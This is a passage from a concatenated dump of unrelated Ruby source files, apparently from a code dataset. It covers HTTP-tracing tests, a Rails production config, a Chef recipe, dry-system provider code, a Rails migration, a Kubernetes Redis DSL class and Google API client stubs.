it 'Typhoeus should have traceview methods defined' do
[ :run_with_traceview ].each do |m|
::Typhoeus::Request::Operations.method_defined?(m).must_equal true
end
end
it 'should trace a typhoeus request' do
TraceView::API.start_trace('typhoeus_test') do
Typhoeus.get("http://127.0.0.1:8101/")
end
traces = get_all_traces
traces.count.must_equal 8
valid_edges?(traces).must_equal true
validate_outer_layers(traces, 'typhoeus_test')
traces[1]['Layer'].must_equal 'typhoeus'
traces[1].key?('Backtrace').must_equal TraceView::Config[:typhoeus][:collect_backtraces]
traces[5]['Layer'].must_equal 'typhoeus'
traces[5]['Label'].must_equal 'info'
traces[5]['IsService'].must_equal 1
traces[5]['RemoteURL'].must_equal 'http://127.0.0.1:8101/'
traces[5]['HTTPMethod'].must_equal 'GET'
traces[5]['HTTPStatus'].must_equal 200
traces[6]['Layer'].must_equal 'typhoeus'
traces[6]['Label'].must_equal 'exit'
end
it 'should trace a typhoeus POST request' do
TraceView::API.start_trace('typhoeus_test') do
Typhoeus.post("127.0.0.1:8101/",
:body => { :key => "traceview-ruby-fake", :content => "traceview-ruby repo test suite"})
end
traces = get_all_traces
traces.count.must_equal 8
valid_edges?(traces).must_equal true
validate_outer_layers(traces, 'typhoeus_test')
traces[1]['Layer'].must_equal 'typhoeus'
traces[1].key?('Backtrace').must_equal TraceView::Config[:typhoeus][:collect_backtraces]
traces[5]['Layer'].must_equal 'typhoeus'
traces[5]['Label'].must_equal 'info'
traces[5]['IsService'].must_equal 1
traces[5]['RemoteURL'].casecmp('http://127.0.0.1:8101/').must_equal 0
traces[5]['HTTPMethod'].must_equal 'POST'
traces[5]['HTTPStatus'].must_equal 200
traces[6]['Layer'].must_equal 'typhoeus'
traces[6]['Label'].must_equal 'exit'
end
it 'should trace a typhoeus PUT request' do
TraceView::API.start_trace('typhoeus_test') do
Typhoeus.put("http://127.0.0.1:8101/",
:body => { :key => "traceview-ruby-fake", :content => "traceview-ruby repo test suite"})
end
traces = get_all_traces
traces.count.must_equal 8
valid_edges?(traces).must_equal true
validate_outer_layers(traces, 'typhoeus_test')
traces[1]['Layer'].must_equal 'typhoeus'
traces[1].key?('Backtrace').must_equal TraceView::Config[:typhoeus][:collect_backtraces]
traces[5]['Layer'].must_equal 'typhoeus'
traces[5]['Label'].must_equal 'info'
traces[5]['IsService'].must_equal 1
traces[5]['RemoteURL'].must_equal 'http://127.0.0.1:8101/'
traces[5]['HTTPMethod'].must_equal 'PUT'
traces[5]['HTTPStatus'].must_equal 200
traces[6]['Layer'].must_equal 'typhoeus'
traces[6]['Label'].must_equal 'exit'
end
it 'should trace a typhoeus DELETE request' do
TraceView::API.start_trace('typhoeus_test') do
Typhoeus.delete("http://127.0.0.1:8101/")
end
traces = get_all_traces
traces.count.must_equal 8
valid_edges?(traces).must_equal true
validate_outer_layers(traces, 'typhoeus_test')
traces[1]['Layer'].must_equal 'typhoeus'
traces[1].key?('Backtrace').must_equal TraceView::Config[:typhoeus][:collect_backtraces]
traces[5]['Layer'].must_equal 'typhoeus'
traces[5]['Label'].must_equal 'info'
traces[5]['IsService'].must_equal 1
traces[5]['RemoteURL'].must_equal 'http://127.0.0.1:8101/'
traces[5]['HTTPMethod'].must_equal 'DELETE'
traces[5]['HTTPStatus'].must_equal 200
traces[6]['Layer'].must_equal 'typhoeus'
traces[6]['Label'].must_equal 'exit'
end
it 'should trace a typhoeus HEAD request' do
TraceView::API.start_trace('typhoeus_test') do
Typhoeus.head("http://127.0.0.1:8101/")
end
traces = get_all_traces
traces.count.must_equal 8
valid_edges?(traces).must_equal true
validate_outer_layers(traces, 'typhoeus_test')
traces[1]['Layer'].must_equal 'typhoeus'
traces[1].key?('Backtrace').must_equal TraceView::Config[:typhoeus][:collect_backtraces]
traces[5]['Layer'].must_equal 'typhoeus'
traces[5]['Label'].must_equal 'info'
traces[5]['IsService'].must_equal 1
traces[5]['RemoteURL'].must_equal 'http://127.0.0.1:8101/'
traces[5]['HTTPMethod'].must_equal 'HEAD'
traces[5]['HTTPStatus'].must_equal 200
traces[6]['Layer'].must_equal 'typhoeus'
traces[6]['Label'].must_equal 'exit'
end
it 'should trace a typhoeus GET request to an instr\'d app' do
TraceView::API.start_trace('typhoeus_test') do
Typhoeus.get("127.0.0.1:8101/")
end
traces = get_all_traces
traces.count.must_equal 8
valid_edges?(traces).must_equal true
validate_outer_layers(traces, 'typhoeus_test')
traces[1]['Layer'].must_equal 'typhoeus'
traces[1].key?('Backtrace').must_equal TraceView::Config[:typhoeus][:collect_backtraces]
traces[5]['Layer'].must_equal 'typhoeus'
traces[5]['Label'].must_equal 'info'
traces[5]['IsService'].must_equal 1
traces[5]['RemoteURL'].casecmp('http://127.0.0.1:8101/').must_equal 0
traces[5]['HTTPMethod'].must_equal 'GET'
traces[5]['HTTPStatus'].must_equal 200
traces[6]['Layer'].must_equal 'typhoeus'
traces[6]['Label'].must_equal 'exit'
end
it 'should trace a typhoeus GET request with DNS error' do
TraceView::API.start_trace('typhoeus_test') do
Typhoeus.get("thisdomaindoesntexisthopefully.asdf/products/traceview/")
end
traces = get_all_traces
traces.count.must_equal 6
valid_edges?(traces).must_equal true
validate_outer_layers(traces, 'typhoeus_test')
traces[1]['Layer'].must_equal 'typhoeus'
traces[1].key?('Backtrace').must_equal TraceView::Config[:typhoeus][:collect_backtraces]
traces[2]['Layer'].must_equal 'typhoeus'
traces[2]['Label'].must_equal 'error'
traces[3]['Layer'].must_equal 'typhoeus'
traces[3]['Label'].must_equal 'info'
traces[3]['IsService'].must_equal 1
traces[3]['RemoteURL'].casecmp('http://thisdomaindoesntexisthopefully.asdf/products/traceview/').must_equal 0
traces[3]['HTTPMethod'].must_equal 'GET'
traces[3]['HTTPStatus'].must_equal 0
traces[3]['Layer'].must_equal 'typhoeus'
traces[3]['Label'].must_equal 'info'
traces[4]['Layer'].must_equal 'typhoeus'
traces[4]['Label'].must_equal 'exit'
end
it 'should trace parallel typhoeus requests' do
TraceView::API.start_trace('typhoeus_test') do
hydra = Typhoeus::Hydra.hydra
first_request = Typhoeus::Request.new("127.0.0.1:8101/products/traceview/")
second_request = Typhoeus::Request.new("127.0.0.1:8101/products/")
third_request = Typhoeus::Request.new("127.0.0.1:8101/")
hydra.queue first_request
hydra.queue second_request
hydra.queue third_request
hydra.run
end
traces = get_all_traces
traces.count.must_equal 13
# FIXME: Until we support async tracing for Typhoeus, this won't
# work.
# valid_edges?(traces).must_equal true
validate_outer_layers(traces, 'typhoeus_test')
traces[1]['Layer'].must_equal 'typhoeus_hydra'
traces[1]['Label'].must_equal 'entry'
traces[11]['Layer'].must_equal 'typhoeus_hydra'
traces[11]['Label'].must_equal 'exit'
end
it 'should obey :log_args setting when true' do
TraceView::Config[:typhoeus][:log_args] = true
TraceView::API.start_trace('typhoeus_test') do
Typhoeus.get("127.0.0.1:8101/?blah=1")
end
traces = get_all_traces
traces[5]['RemoteURL'].casecmp('http://127.0.0.1:8101/?blah=1').must_equal 0
end
it 'should obey :log_args setting when false' do
TraceView::Config[:typhoeus][:log_args] = false
TraceView::API.start_trace('typhoeus_test') do
Typhoeus.get("127.0.0.1:8101/?blah=1")
end
traces = get_all_traces
traces[5]['RemoteURL'].casecmp('http://127.0.0.1:8101/').must_equal 0
end
it 'should obey :collect_backtraces setting when true' do
TraceView::Config[:typhoeus][:collect_backtraces] = true
TraceView::API.start_trace('typhoeus_test') do
Typhoeus.get("127.0.0.1:8101/?blah=1")
end
traces = get_all_traces
layer_has_key(traces, 'typhoeus', 'Backtrace')
end
it 'should obey :collect_backtraces setting when false' do
TraceView::Config[:typhoeus][:collect_backtraces] = false
TraceView::API.start_trace('typhoeus_test') do
Typhoeus.get("127.0.0.1:8101/")
end
traces = get_all_traces
layer_doesnt_have_key(traces, 'typhoeus', 'Backtrace')
end
end
| 31.996503
| 113
| 0.686045
|
1d6cd538c6716d995212ae03a5e6042d6190f96e
| 74
|
def process_text(strings)
strings.map {|str| str.strip}.join(" ")
end
| 18.5
| 43
| 0.675676
|
215b3a1dea82ae32d955fc4ec5bca872f4b738b2
| 356
|
namespace :github do
task :update_gists do
require 'open-uri'
Dir['public/gists/*.js'].each do |gist|
File.open(gist, 'w') do |file|
url = "http://gist.github.com/#{File.basename(gist)}"
puts "Updating #{File.basename(gist)} from #{url}..."
file << open(url).read
puts "`- done"
end
end
end
end
| 23.733333
| 61
| 0.561798
|
62ab4899005f5f0ec2f1c643a410f27a2ab0616b
| 2,723
|
WaysIntoWork::Application.configure do
# Settings specified here will take precedence over those in config/application.rb
# Code is not reloaded between requests
config.cache_classes = true
# Full error reports are disabled and caching is turned on
config.consider_all_requests_local = false
config.action_controller.perform_caching = true
# Disable Rails's static asset server (Apache or nginx will already do this)
config.serve_static_assets = true
# Compress JavaScripts and CSS
config.assets.compress = true
# Don't fallback to assets pipeline if a precompiled asset is missed
config.assets.compile = false
# Generate digests for assets URLs
config.assets.digest = true
config.eager_load = true
# Defaults to nil and saved in location specified by config.assets.prefix
# config.assets.manifest = YOUR_PATH
# Specifies the header that your server uses for sending files
# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
# config.force_ssl = true
# See everything in the log (default is :info)
# config.log_level = :debug
# Prepend all log lines with the following tags
# config.log_tags = [ :subdomain, :uuid ]
# Use a different logger for distributed setups
# config.logger = ActiveSupport::TaggedLogging.new(SyslogLogger.new)
# Use a different cache store in production
# config.cache_store = :mem_cache_store
# Enable serving of images, stylesheets, and JavaScripts from an asset server
# config.action_controller.asset_host = "http://assets.example.com"
# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
# config.assets.precompile += %w( search.js )
# Disable delivery errors, bad email addresses will be ignored
# config.action_mailer.raise_delivery_errors = false
# Enable threaded mode
# config.threadsafe!
# Enable locale fallbacks for I18n (makes lookups for any locale fall back to
# the I18n.default_locale when a translation can not be found)
config.i18n.fallbacks = true
# Send deprecation notices to registered listeners
config.active_support.deprecation = :notify
config.action_mailer.default_url_options = { host: ENV['HOST_URL'] }
config.action_mailer.smtp_settings = {
address: 'smtp.sendgrid.net',
port: '587',
authentication: :plain,
user_name: ENV['SENDGRID_USERNAME'],
password: ENV['SENDGRID_PASSWORD'],
domain: 'heroku.com',
enable_starttls_auto: true
}
config.action_mailer.show_previews = true
end
| 34.0375
| 104
| 0.750643
|
338784ddcb0f0802fb3fcaa66fb606cce54561b0
| 1,611
|
#
# Cookbook:: nginx_simplecgi
# Recipe:: init
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
if node['nginx_simplecgi']['php']
template '/etc/init.d/phpwrap_dispatcher' do
source 'wrap.init.erb'
owner 'root'
group 'root'
mode '0755'
variables(
kind: 'php',
exec: '/usr/local/bin/phpwrap_dispatcher',
pid_file: File.join(
node['nginx_simplecgi']['dispatcher_directory'],
'phpwrap_dispatcher.pid'
)
)
end
service 'phpwrap_dispatcher' do
supports status: true, restart: true, reload: false
action [:enable, :start]
end
end
if node['nginx_simplecgi']['cgi']
template '/etc/init.d/cgiwrap_dispatcher' do
source 'wrap.init.erb'
owner 'root'
group 'root'
mode '0755'
variables(
kind: 'cgi',
exec: '/usr/local/bin/cgiwrap_dispatcher',
pid_file: File.join(
node['nginx_simplecgi']['dispatcher_directory'],
'cgiwrap_dispatcher.pid'
)
)
end
service 'cgiwrap_dispatcher' do
supports status: true, restart: true, reload: false
action [:enable, :start]
end
end
| 26.85
| 74
| 0.677219
|
62b43313419649a9e2bcf2e88b767478dedab9d3
| 155
|
$LOAD_PATH.unshift File.expand_path("../lib", __dir__)
require "nuid/sdk"
require 'minitest/autorun'
require 'minitest/pride'
require "minitest/autorun"
| 19.375
| 54
| 0.767742
|
6265b620bc760021167734d75ce4fd52ff2cd553
| 117
|
class Book < ActiveRecord::Base
ThinkingSphinx::Callbacks.append(
self, :behaviours => [:sql, :deltas]
)
end
| 19.5
| 40
| 0.683761
|
03ff6e76b91655b58f980d957895e1d0d9d9f8cc
| 1,547
|
module Cloudspin
module Stack
module Rake
class ArtefactTask < ::Rake::TaskLib
def initialize(definition_folder:, dist_folder:)
@definition_folder = definition_folder
@dist_folder = dist_folder
define
end
def define
desc 'Assemble files to be packaged'
task :build, [:test_folder, :environments_folder, :instance_defaults_file] do |t, args|
add_folder(args[:test_folder] || './test')
add_folder(args[:environments_folder] || './environments')
add_file(args[:instance_defaults_file] || './stack-instance-defaults.yaml')
['Rakefile', 'Gemfile', 'Gemfile.lock'].each { |f|
add_file(f) if File.exists? f
}
builder.build
end
desc 'Package the artefact'
task :package do |t, args|
builder.package
end
end
def add_folder(folder)
builder.add_folder_to_package(folder) if Dir.exists?(folder)
end
def add_file(filename)
builder.add_file_to_package(filename) if File.exists?(filename)
end
def builder
@builder ||= Cloudspin::Stack::Artefact::Builder.new(
stack_definition: stack_definition,
dist_folder: @dist_folder
)
end
def stack_definition
@definition ||= Cloudspin::Stack::Definition.from_file(@definition_folder + '/stack-definition.yaml')
end
end
end
end
end
| 28.127273
| 111
| 0.585003
|
26e7ce5bfc869071db84c4cbdeb5632838ef7aa4
| 208
|
# Sample code from Programing Ruby, page 124
require 'stringio'
ip = StringIO.new("now is\nthe time\nto learn\nRuby!")
op = StringIO.new("", "w")
ip.each_line do |line|
op.puts line.reverse
end
op.string
| 18.909091
| 54
| 0.711538
|
397700155200245aaeaae2e385b76a3458acfd0f
| 4,137
|
class TopicController < ApplicationController
def index
render_response(200, "Topic")
end
def show
if !params[:cluster_name].present? || !KafkaCluster.exists?(:name => params[:cluster_name])
render_response(400, 'Cluster name not present')
else
kafka = KAFKA_CLUSTERS[params[:cluster_name]]
kafka.refresh_cluster
topics = kafka.topics
topics_list = []
topics.each do |topic|
begin
topic_description = kafka.topic_statistics(topic: topic)
rescue => exception
topic_description = { name: topic, error: exception }
end
topics_list.push(topic_description)
end
render_response(200, topics_list)
end
end
def search_topic
if !params[:cluster_name].present? || !KafkaCluster.exists?(:name => params[:cluster_name])
render_response(400, 'Cluster name not present')
else
kafka = KAFKA_CLUSTERS[params[:cluster_name]]
response = {}
page_size = 50
search = params[:search]
page = params[:page]
kafka.refresh_cluster
topics = kafka.topics
topics = topics.select{ |topic| topic.start_with?(search) }
response['next'] = (topics.count > page * page_size)
start = (page - 1) * page_size
topics = topics[start, start + page_size - 1]
topics_list = []
topics.each do |topic|
begin
topic_description = kafka.topic_statistics(topic: topic)
rescue => exception
topic_description = { name: topic, error: exception }
end
topics_list.push(topic_description)
end
response['topics'] = topics_list
render_response(200, response)
end
end
def all_topics
topics = {}
KAFKA_CLUSTERS.keys.each do |cluster|
begin
KAFKA_CLUSTERS[cluster].refresh_cluster
topics[cluster] = KAFKA_CLUSTERS[cluster].topics
rescue => exception
puts "Cannot connect to #{cluster} cluster."
end
end
render_response(200, topics)
end
def create_topic
if !params_valid
render_response(400, 'Cluster name not present')
else
config = {}
if params[:configs].present?
params[:configs].keys.each do |k|
config[k] = params[:configs][k]
end
end
kafka = get_kafka_client(cluster_name: params[:cluster_name])
kafka.create_topic(params[:topic_name], num_partitions: params[:partitions], replication_factor: params[:replication], config: config)
kafka.refresh_cluster
topic_statistics = kafka.topic_statistics(topic: params[:topic_name])
render_response(200, topic_statistics)
end
end
def delete_topic
if !params_valid
render_response(400, 'Cluster name not present')
else
kafka = get_kafka_client(cluster_name: params[:cluster_name])
kafka.refresh_cluster
kafka.delete_topic(params[:name])
render_response(200, 'Topic deleted')
end
end
def list_topic_configs
configs = {}
TOPIC_DETAILS.keys.each { |t| configs[TOPIC_DETAILS[t]] = t }
render_response(200, configs)
end
def get_topic_configs
configs = {}
if !params_valid
render_response(400, 'Cluster name not present')
else
kafka = get_kafka_client(cluster_name: params[:cluster_name])
configs = kafka.describe_topic(params[:topic], TOPIC_DETAILS.keys)
render_response(200, configs)
end
end
def params_valid
return params[:cluster_name].present? && KafkaCluster.exists?(:name => params[:cluster_name])
end
end
| 34.475
| 146
| 0.567319
|
edd9ec96514907b6099c4eaa7dd02932d4fc6359
| 3,051
|
class AddRemoveCasWorkflow < ActiveRecord::Migration[6.0]
include MigrationHelper
class State < ApplicationRecord
self.table_name = 'workflow_states'
end
class Transition < ApplicationRecord
self.table_name = 'workflow_transitions'
belongs_to :project_type
end
def change
project_type = ProjectType.find_by!(name: 'CAS')
remove_lookup Transition, 78, from_state_id: 'SUBMITTED', next_state_id: 'AWAITING_ACCOUNT_APPROVAL', project_type: project_type
remove_lookup Transition, 79, from_state_id: 'AWAITING_ACCOUNT_APPROVAL', next_state_id: 'APPROVED', project_type: project_type
remove_lookup Transition, 80, from_state_id: 'AWAITING_ACCOUNT_APPROVAL', next_state_id: 'REJECTED', project_type: project_type
remove_lookup Transition, 81, from_state_id: 'APPROVED', next_state_id: 'ACCESS_GRANTED', project_type: project_type
remove_lookup Transition, 82, from_state_id: 'REJECTED', next_state_id: 'DRAFT', project_type: project_type
remove_lookup Transition, 83, from_state_id: 'APPROVED', next_state_id: 'REJECTED', project_type: project_type
remove_lookup Transition, 84, from_state_id: 'REJECTED', next_state_id: 'APPROVED', project_type: project_type
add_lookup State, 'ACCESS_APPROVER_APPROVED', {}
add_lookup State, 'ACCESS_APPROVER_REJECTED', {}
add_lookup State, 'RENEWAL', {}
add_lookup State, 'ACCOUNT_CLOSED', {}
add_lookup State, 'REJECTION_REVIEWED', {}
add_lookup Transition, 78, from_state_id: 'SUBMITTED', next_state_id: 'DRAFT', project_type: project_type
add_lookup Transition, 79, from_state_id: 'SUBMITTED', next_state_id: 'ACCESS_APPROVER_APPROVED', project_type: project_type
add_lookup Transition, 80, from_state_id: 'SUBMITTED', next_state_id: 'ACCESS_APPROVER_REJECTED', project_type: project_type
add_lookup Transition, 81, from_state_id: 'ACCESS_APPROVER_APPROVED', next_state_id: 'ACCESS_GRANTED', project_type: project_type
add_lookup Transition, 82, from_state_id: 'ACCESS_GRANTED', next_state_id: 'RENEWAL', project_type: project_type
add_lookup Transition, 83, from_state_id: 'RENEWAL', next_state_id: 'ACCESS_GRANTED', project_type: project_type
add_lookup Transition, 84, from_state_id: 'RENEWAL', next_state_id: 'ACCOUNT_CLOSED', project_type: project_type
add_lookup Transition, 85, from_state_id: 'ACCESS_GRANTED', next_state_id: 'ACCOUNT_CLOSED', project_type: project_type
add_lookup Transition, 86, from_state_id: 'ACCESS_GRANTED', next_state_id: 'DRAFT', project_type: project_type
add_lookup Transition, 87, from_state_id: 'ACCESS_APPROVER_REJECTED', next_state_id: 'REJECTION_REVIEWED', project_type: project_type
add_lookup Transition, 88, from_state_id: 'ACCESS_APPROVER_REJECTED', next_state_id: 'SUBMITTED', project_type: project_type
add_lookup Transition, 89, from_state_id: 'REJECTION_REVIEWED', next_state_id: 'DRAFT', project_type: project_type
add_lookup Transition, 90, from_state_id: 'ACCOUNT_CLOSED', next_state_id: 'DRAFT', project_type: project_type
end
end
| 66.326087
| 137
| 0.788922
|
1ab184683c0100276368aab3fcc758edfd911526
| 7,683
|
# frozen_string_literal: true
require "dry/core/deprecations"
require_relative "constants"
require_relative "provider/source"
module Dry
module System
# Providers can prepare and register one or more objects and typically work with third
# party code. A typical provider might be for a database library, or an API client.
#
# The particular behavior for any provider is defined in a {Provider::Source}, which
# is a subclass created when you run {Container.register_provider} or
# {Dry::System.register_provider_source}. The Source provides this behavior through
# methods for each of the steps in the provider lifecycle: `prepare`, `start`, and
# `run`. These methods typically create and configure various objects, then register
# them with the {#provider_container}.
#
# The Provider manages this lifecycle by implementing common behavior around the
# lifecycle steps, such as running step callbacks, and only running steps when
# appropriate for the current status of the lifecycle.
#
# Providers can be registered via {Container.register_provider}.
#
# @example Simple provider
# class App < Dry::System::Container
# register_provider(:logger) do
# prepare do
# require "logger"
# end
#
# start do
# register(:logger, Logger.new($stdout))
# end
# end
# end
#
# App[:logger] # returns configured logger
#
# @example Using an external Provider Source
# class App < Dry::System::Container
# register_provider(:logger, from: :some_external_provider_source) do
# configure do |config|
# config.log_level = :debug
# end
#
# after :start do
# register(:my_extra_logger, resolve(:logger))
# end
# end
# end
#
# App[:my_extra_logger] # returns the extra logger registered in the callback
#
# @api public
class Provider
# Returns the provider's unique name.
#
# @return [Symbol]
#
# @api public
attr_reader :name
# Returns the default namespace for the provider's container keys.
#
# @return [Symbol,String]
#
# @api public
attr_reader :namespace
# Returns an array of lifecycle steps that have been run.
#
# @return [Array<Symbol>]
#
# @example
# provider.statuses # => [:prepare, :start]
#
# @api public
attr_reader :statuses
# Returns the container for the provider.
#
# This is where the provider's source will register its components, which are then
# later marged into the target container after the `prepare` and `start` lifecycle
# steps.
#
# @return [Dry::Container]
#
# @api public
attr_reader :provider_container
alias_method :container, :provider_container
# Returns the target container for the provider.
#
# This is the container with which the provider is registered (via
# {Dry::System::Container.register_provider}).
#
# Registered components from the provider's container will be merged into this
# container after the `prepare` and `start` lifecycle steps.
#
# @return [Dry::System::Container]
#
# @api public
attr_reader :target_container
alias_method :target, :target_container
# Returns the provider's source
#
# The source provides the specific behavior for the provider via methods
# implementing the lifecycle steps.
#
# The provider's source is defined when registering a provider with the container,
# or an external provider source.
#
# @see Dry::System::Container.register_provider
# @see Dry::System.register_provider_source
#
# @return [Dry::System::Provider::Source]
#
# @api private
attr_reader :source
# @api private
def initialize(name:, namespace: nil, target_container:, source_class:, &block) # rubocop:disable Style/KeywordParametersOrder
@name = name
@namespace = namespace
@target_container = target_container
@provider_container = build_provider_container
@statuses = []
@source = source_class.new(
provider_container: provider_container,
target_container: target_container,
&block
)
end
# Runs the `prepare` lifecycle step.
#
# Also runs any callbacks for the step, and then merges any registered components
# from the provider container into the target container.
#
# @return [self]
#
# @api public
def prepare
run_step(:prepare)
end
# Runs the `start` lifecycle step.
#
# Also runs any callbacks for the step, and then merges any registered components
# from the provider container into the target container.
#
# @return [self]
#
# @api public
def start
run_step(:prepare)
run_step(:start)
end
# Runs the `stop` lifecycle step.
#
# Also runs any callbacks for the step.
#
# @return [self]
#
# @api public
def stop
return unless started?
run_step(:stop)
end
# Returns true if the provider's `prepare` lifecycle step has run
#
# @api public
def prepared?
statuses.include?(:prepare)
end
# Returns true if the provider's `start` lifecycle step has run
#
# @api public
def started?
statuses.include?(:start)
end
# Returns true if the provider's `stop` lifecycle step has run
#
# @api public
def stopped?
statuses.include?(:stop)
end
private
# @api private
def build_provider_container
container = Dry::Container.new
case namespace
when String, Symbol
container.namespace(namespace) { |c| return c }
when true
container.namespace(name) { |c| return c }
when nil
container
else
raise ArgumentError,
"+namespace:+ must be true, string or symbol: #{namespace.inspect} given."
end
end
# @api private
def run_step(step_name)
return self if statuses.include?(step_name)
source.run_callback(:before, step_name)
source.public_send(step_name)
source.run_callback(:after, step_name)
statuses << step_name
apply
self
end
# Registers any components from the provider's container in the main container.
#
# Called after each lifecycle step runs.
#
# @return [self]
#
# @api private
def apply
provider_container.each_key do |key|
next if target_container.registered?(key)
# Access the provider's container items directly so that we can preserve all
# their options when we merge them with the target container (e.g. if a
# component in the provider container was registered with a block, we want block
# registration behavior to be exhibited when later resolving that component from
# the target container).
item = provider_container._container[key]
if item.callable?
target_container.register(key, **item.options, &item.item)
else
target_container.register(key, item.item, **item.options)
end
end
self
end
end
end
end
| 29.324427
| 132
| 0.612521
|
284f0843220872c63931f6597cf6e7eb0c86323e
| 1,367
|
# typed: true
module Kuby
module Redis
module DSL
module Databases
module V1
class RedisFailoverSpecSentinelAffinityPodAffinityPreferredDuringSchedulingIgnoredDuringExecutionPodAffinityTermNamespaceSelector < ::KubeDSL::DSLObject
key_value_field(:match_labels, format: :string)
array_field(:match_expression) { Kuby::Redis::DSL::Databases::V1::RedisFailoverSpecSentinelAffinityPodAffinityPreferredDuringSchedulingIgnoredDuringExecutionPodAffinityTermNamespaceSelectorMatchExpressions.new }
validates :match_labels, kv: { value_format: :string }, presence: true
validates :match_expressions, array: { kind_of: Kuby::Redis::DSL::Databases::V1::RedisFailoverSpecSentinelAffinityPodAffinityPreferredDuringSchedulingIgnoredDuringExecutionPodAffinityTermNamespaceSelectorMatchExpressions }, presence: false
def serialize
{}.tap do |result|
result[:matchLabels] = match_labels.serialize
result[:matchExpressions] = match_expressions.map(&:serialize)
end
end
def kind_sym
:redis_failover_spec_sentinel_affinity_pod_affinity_preferred_during_scheduling_ignored_during_execution_pod_affinity_term_namespace_selector
end
end
end
end
end
end
end
| 45.566667
| 251
| 0.726408
|
7a568503b95d0a25384dc1e130a057131004d6ca
| 1,151
|
# frozen_string_literal: true
require 'spec_helper'
describe CircleCI::CLI::Command::CancelCommand, type: :command do
shared_examples_for 'a command cancels build' do
let(:expected_output) { 'build unhappychoice/default_reponame_from_api 1234 is canceled.' }
it 'should cancel build' do
allow(CircleCI::CLI::Command::CancelCommand).to receive(:say) {}
expect(CircleCI::CLI::Command::CancelCommand).to receive(:say).with(expected_output.strip)
CircleCI::CLI::Command::CancelCommand.run(options)
end
end
context 'with no input' do
let(:options) { OpenStruct.new(project: nil, build: nil) }
it_behaves_like 'a command asks project name'
it_behaves_like 'a command cancels build'
end
context 'with project input' do
let(:project_name) { 'unhappychoice/Circler' }
let(:options) { OpenStruct.new(project: project_name, build: nil) }
it_behaves_like 'a command cancels build'
end
context 'with branch input' do
let(:options) { OpenStruct.new(project: nil, build: 1234) }
it_behaves_like 'a command asks project name'
it_behaves_like 'a command cancels build'
end
end
| 31.108108
| 96
| 0.721112
|
e88c7d3286e69590b5744fc94711c41ca87b0ea4
| 47,657
|
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require 'date'
require 'google/apis/core/base_service'
require 'google/apis/core/json_representation'
require 'google/apis/core/hashable'
require 'google/apis/errors'
module Google
module Apis
module AppengineV1beta
class ApiConfigHandler
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ApiEndpointHandler
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Application
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AuthorizedCertificate
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AuthorizedDomain
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class AutomaticScaling
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class BasicScaling
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class BatchUpdateIngressRulesRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class BatchUpdateIngressRulesResponse
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class BuildInfo
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class CertificateRawData
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class CloudBuildOptions
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ContainerInfo
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class CpuUtilization
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class CreateVersionMetadataV1
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class CreateVersionMetadataV1Alpha
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class CreateVersionMetadataV1Beta
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class CustomMetric
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class DebugInstanceRequest
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Deployment
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class DiskUtilization
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class DomainMapping
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Empty
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class EndpointsApiService
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class Entrypoint
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class ErrorHandler
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class FeatureSettings
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class FileInfo
class Representation < Google::Apis::Core::JsonRepresentation; end
include Google::Apis::Core::JsonObjectSupport
end
class FirewallRule
